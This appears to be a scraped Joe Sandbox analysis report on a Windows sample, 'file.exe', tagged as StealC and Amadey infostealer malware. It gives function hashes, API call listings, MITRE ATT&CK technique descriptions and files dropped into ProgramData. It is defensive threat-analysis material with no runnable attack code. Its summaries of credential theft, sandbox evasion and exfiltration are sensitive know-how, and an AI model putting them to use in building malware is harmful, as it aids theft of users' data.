Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction ID: a22d2f4f70aca0a47144734f7c380559b2e26087e7586b11d727e34cc30290ad
Opcode Fuzzy Hash: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction Fuzzy Hash: 8531E571A1060A9FDB08CF2CC9806AB73E9FF94344F50813DD41AD7651EB31E669C790

Function 6C9CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C970A4D), ref: 6C9CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C970A4D), ref: 6C9CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C970A4D), ref: 6C9CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C970A4D), ref: 6C9CB67F

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction ID: 392d24bc119dcc89dcd8b7a62ab48144820da0114567d21a05406e42d7c7c1bf
Opcode Fuzzy Hash: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction Fuzzy Hash: 7931F471E002168FDB10DF58C94466ABBB9FF84325F168529C80A9B201DB31E915CBA3

Function 6C99F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F668

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 930120d83646c70c7c335615e540f2feefbfff5f45c6baa77110c3b2be83de8b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 1A314F71A00614AFCB14CF5DCCC0AABB7B9EB94358B188539FA498BB04D672F9448B91

Function 6C9B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26C1
free.MOZGLUE(?), ref: 6C9B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26FF
free.MOZGLUE ref: 6C9B270D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction ID: b237b41504ae697f64bfd474cf52261243125ef69d145bcc44673202e28a1dba
Opcode Fuzzy Hash: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction Fuzzy Hash: C5F0F9B2701601BBFB009A18DCC495B73ADEF65259B200435EA16E3B02E331F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGDGHJEH

C:\ProgramData\BKECFIIE

C:\ProgramData\BKFBAECBAEGDGDHIEHIJ

C:\ProgramData\CBAKJEHDBGHIEBGCGDGH

C:\ProgramData\DAAAKFHIEGDGCAAAEGDGIDAECF

C:\ProgramData\FIDHIEBAAKJDHIECAAFH

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre